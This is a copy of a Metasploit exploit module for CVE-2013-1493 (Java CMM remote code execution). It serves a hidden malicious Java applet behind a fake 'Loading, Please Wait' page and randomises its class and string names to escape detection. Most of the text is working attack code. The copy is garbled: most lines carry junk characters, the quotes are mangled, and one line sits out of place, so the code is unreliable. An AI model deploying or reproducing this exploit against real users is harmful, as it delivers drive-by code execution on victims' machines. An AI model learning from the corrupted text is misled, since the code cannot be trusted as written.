##
% a/ H8 O0 D- ^' U2 o
# \9 V# v P9 r. h6 l- a7 T# This file is part of the Metasploit Framework and may be subject to
6 V3 J' K0 S' h9 H; S# redistribution and commercial restrictions. Please see the Metasploit9 K8 I( @- t# {/ p' i
# web site for more information on licensing and terms of use.
N0 N. ^( ]" Z3 r! u2 y# http://metasploit.com/
, S+ `3 q E) F( l* M##
; \; E% ]& c7 A5 P) G0 @5 B4 Lrequire ‘msf/core’6 j$ g4 l& T$ l [8 T1 [
require ‘rex’
. z$ C, F' x, a! Z1 Q) C z3 T+ gclass Metasploit3 < Msf::Exploit::Remote
, o) ~* W- M _Rank = NormalRanking
7 z) }2 \) t0 z9 Z/ U+ q, H3 `include Msf::Exploit::Remote::HttpServer::HTML
$ W- i# ?1 M9 c: Z5 |( Vinclude Msf::Exploit::EXE
! m6 X7 _$ }8 @$ r) f% Hinclude Msf::Exploit::Remote::BrowserAutopwn" l1 J0 J* Z+ F( k
autopwn_info({ :javascript => false })7 g* E) a: [: N- f
def initialize( info = {} )
3 V9 J n$ ]( I3 j8 X: G# m B' m% W) Osuper( update_info( info,
- k% `0 f9 P J6 p ]! u) v‘Name’ => ‘Java CMM Remote Code Execution’,- ~2 j! ~# v9 K9 H. @" i
‘Description’ => %q{
& S% Q: ]7 Z% s2 Y i1 F" Q. |) nThis module abuses the Color Management classes from a Java Applet to run
7 H+ ? e8 q; g8 R+ qarbitrary Java code outside of the sandbox as exploited in the wild in February
+ x4 \3 a/ Y9 e5 `: E& D5 Iand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41, ]- U$ d( C. ^/ J' @
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1/ b6 H" [, H( r/ c! r
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
" ]2 I/ g5 F+ q H9 W8 P: Iwarning in order to run the malicious applet. d: J+ J7 f* u, Z( d$ K
},# i& K+ t p/ [, U9 O& j
‘License’ => MSF_LICENSE,
7 ^- h/ _7 b/ f/ ~‘Author’ =>
6 B( h d8 a- S! F. V'Unknown', # Vulnerability discovery and Exploit
+ V4 U; ?: v' \' o7 n# T" C$ y'juan vazquez' # Metasploit module (just ported the published exploit)
2 c- S6 t5 n( o1 f],
# y- v5 f6 K7 U1 A5 Q* T5 M8 ?- @‘References’ =>/ A# B0 o Y/ Z! }& f
[
* P6 C t9 t# |# c[ 'CVE', '2013-1493' ],
" a" o! G% Q, Q+ Q[ 'OSVDB', '90737' ],
9 k# w, S4 E: I1 H[ 'BID', '58238' ],+ X1 Q7 ?1 Q. z
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
8 r' n& `# R* N* x1 ^( Y1 Y0 [[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],0 p7 J% |6 R- g( X1 g: u
[ 'URL', 'http://pastie.org/pastes/6581034' ]. o" n3 q( `5 j) `2 ^/ v
],
- e, `& ~! Y4 N‘Platform’ => [ 'win', 'java' ],
6 y ^0 @ n4 ]& `& C: W7 k5 Y& X‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },! a# \& [( U" N- C- R) m
‘Targets’ =>& s; E! H& u8 g: }7 Q
[( ~3 E% r+ \$ f$ L5 H* M. W
[ 'Generic (Java Payload)',7 K) E7 I6 l; y, w! N
{
, x1 n; s$ }2 O2 j'Platform' => 'java',0 H9 k* I9 l4 G y/ c w Z: _
'Arch' => ARCH_JAVA
1 g% o( B$ d# @8 p, a% ^}. n4 j. V' U5 R) `8 H8 D, e
],: p0 P2 ` F9 j0 f
[ 'Windows x86 (Native Payload)',. b4 B( b0 }( X0 ~
{2 H5 N: `1 {; @6 d0 ~
'Platform' => 'win',
8 z/ Z5 G+ _0 F8 j' f3 s'Arch' => ARCH_X863 q d) ?8 E: h# X$ X# T
}2 \* [2 w+ S: Q3 E* l; C0 Y
]8 \# M4 B2 s5 Y( { w
],
8 Z W1 E- v1 m/ s- I7 ^8 ^8 y! H‘‘DisclosureDate’ => ‘Mar 01 2013′ d m& n9 E7 A$ u' x( u4 B
))2 o- x" P6 q# ?+ }# W* S5 v8 M$ g& Q3 ]
end
' n% |2 ~! l9 I' Z5 p' F, ^- hdef setup; G: I: y" u) e" L6 S: l
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)/ A9 V) _. _) q+ h% B, S' P( W
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }. ~8 A# `) c$ r5 i) D$ v# ^
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)3 k! H! E( y# J4 r( K
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }3 P9 r" \9 h9 I& m6 a
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)5 g( |3 G6 y" h8 {+ w7 C2 u( E J! w
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
" D" v& N, M3 Fpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”): y/ V. _& ~& v0 m+ h y4 ^
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
( r' m; G L1 W! r% X@init_class_name = rand_text_alpha(“Init”.length)
8 R, C9 x8 m3 o) v" g/ j3 P& K@init_class.gsub!(“Init”, @init_class_name)8 O1 J) c/ o% e; _. w" _
super
! s1 p7 R6 H6 ^- z, K6 Jend
# x2 w0 U7 {: R% Fdef on_request_uri(cli, request)
. j, s% d, U& K, o7 o* K: j% Zprint_status(“handling request for #{request.uri}”)
3 _ q& u0 i1 ]2 s# ?1 _# V6 {* b- hcase request.uri
! N/ L4 V6 `6 d n+ c; [. Hwhen /\.jar$/i. o( y0 |- T- M0 m
jar = payload.encoded_jar
6 S. J' Z! h2 D6 l# _jar.add_file(“#{@init_class_name}.class”, @init_class)
+ T" D" x% v! s2 B# C: c$ Gjar.add_file(“Leak.class”, @leak_class)! ]# f! X7 |) w9 ~( ~
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)8 E% s9 A2 a2 e* h
jar.add_file(“MyColorSpace.class”, @color_space_class)8 ?: g# Z% M7 P- E% F
DefaultTarget’ => 1,/ T D" S, V7 O2 n/ A8 i
metasploit_str = rand_text_alpha(“metasploit”.length)
0 V8 g8 A! s1 Q5 C* i: J5 E7 f5 e4 rpayload_str = rand_text_alpha(“payload”.length)2 b l/ m/ x3 z' ]& y3 i' f+ G9 @
jar.entries.each { |entry|
. S2 F1 ^/ X7 f' T& u6 g" xentry.name.gsub!(“metasploit”, metasploit_str)8 b1 @& E0 Q: t$ F" v I
entry.name.gsub!(“Payload”, payload_str)/ j1 f0 u4 Y% n c
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
5 t- @8 V5 a( L3 p- a0 Q2 Aentry.data = entry.data.gsub(“Payload”, payload_str). p. I8 w0 y8 b+ X) y
}& C( Q( I* @: c6 U6 C
jar.build_manifest1 W; S" z$ N1 i/ r
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })/ P6 u `! f- X: p: e) I& C& |: I9 Z
when /\/$/
3 B/ S. p% E5 X$ |' b1 v" s; Zpayload = regenerate_payload(cli)3 i, b o1 \& C x+ s
if not payload
" W$ I) Q4 k8 r) g+ S9 Fprint_error(“Failed to generate the payload.”)5 n% J# ^ C; B8 | k9 }) }
send_not_found(cli)
; ~! Q: J' Q+ C6 A% kreturn
; {1 ]4 z% y5 Aend8 s; `- {+ u5 x: D( E5 n. z. c8 a6 U
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })6 O, v8 U/ L- o- e8 w
else
0 F$ X C9 W- @- [! i$ N3 Gsend_redirect(cli, get_resource() + ‘/’, ”)/ C5 X8 p( `: D, y- I% u+ w4 g1 z- B. D
end
, I1 c _- V' d/ Qend& h: c: A @: ]/ v8 z1 D
def generate_html
( O+ Q$ d @5 ^* g0 Ehtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|
3 L0 l# z- u% yhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
5 D4 c* y+ h" F3 l' L* K4 Z, h1 f- Bhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|+ I4 q* k) w; d6 V
html += %Q|</applet></body></html>|
6 r( M) x/ ^* ?6 ^return html
, M; G- D$ Q# g( G9 Vend
" {8 {4 f4 q8 |2 W) l+ Eend
A) {% p' e: s) `' i) }- c' nend
" s. P2 K; `( b2 a, B |